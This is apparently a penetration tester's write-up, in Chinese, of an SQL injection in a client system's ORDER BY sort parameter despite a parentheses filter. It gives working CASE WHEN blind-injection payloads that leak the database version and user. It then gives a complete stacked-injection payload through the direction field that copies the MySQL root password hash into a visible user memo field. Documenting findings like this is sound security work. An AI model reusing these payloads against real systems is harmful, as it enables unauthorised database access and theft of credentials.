背景: 背景: 某客户系统存在SQL注入,但是存在括号过滤,后续进行绕过成功证明存在SQL注入风险,最后堆叠注入提升危害。

数据包中存在sort参数:

并且此处是作为order by参数传入:

此处在末尾随意加入字符,提示不存在对应的字段,说明此处可控可拼接:

先尝试exp临界注入:

此处发现整个order by不见了

不断测试发现此处是检测是否存在括号,从左到右匹配左括号和右括号,如果符合条件则关闭order
by排序:

即需要构造不存在括号的注入

此时先找出两个存在的字段:

此处使用account_code和account_mobile进行true或flase的判断

使用CASE WHEN进行盲注,先看True的情况:

account_code and CASE WHEN 1=1 THEN account_code ELSE account_mobile END

再看False的情况:

account_code and CASE WHEN 1=2 THEN account_code ELSE account_mobile END

此时排序发送变化,证明sql语句可控

现在已具备true or false的判断条件了,进行盲注:

account_code and CASE WHEN @@version LIKE '1%' THEN account_code ELSE account_mobile END
account_code and CASE WHEN @@version LIKE '5%' THEN account_code ELSE account_mobile END

此处可得出版本号为5.x

account_code and CASE WHEN current_user LIKE 'a%' THEN account_code ELSE account_mobile END
account_code and CASE WHEN current_user LIKE 's%' THEN account_code ELSE account_mobile END

得出用户名第一位为s

此时已证明存在SQL语句可控风险

后续研究发现其实可以进行堆叠注入:

此处发现direction处,即ASC处也可控制

即可以先用1;闭合前面的order by,然后在执行新的语句:

此处证明可堆叠注入,存在的表名可查询,不存在的报错,显示表名不存在

此处因为不能使用括号,不能直接查询东西,但可以写入到原本有数据的可视内容中:

此处为一个用户的备注信息,这里先标记为stcs666888,便于后续使用where进行条件限定

这里使用变量法写入数据,然后再查询数据:

select authentication_string from mysql.user limit 1 into @aa;

此处写入mysql的用户的密码到变量aa中

update sys_account set memo = @aa where memo = 'stcs666888';

其中此处的sys_account由sys_role猜测得出:

memo由编辑用户信息得来:

最后还需要用;select 1闭合一下,因为最后有个limit

完整payload:

"sort":"[{\"property\":\"1;\",\"direction\":\"select  authentication_string  from mysql.user limit 1 into @aa;  update sys_account set memo = @aa where memo = 'stcs666888';select 1\"}]"

效果:

成功执行堆叠注入将root的密码写入到此处备注信息中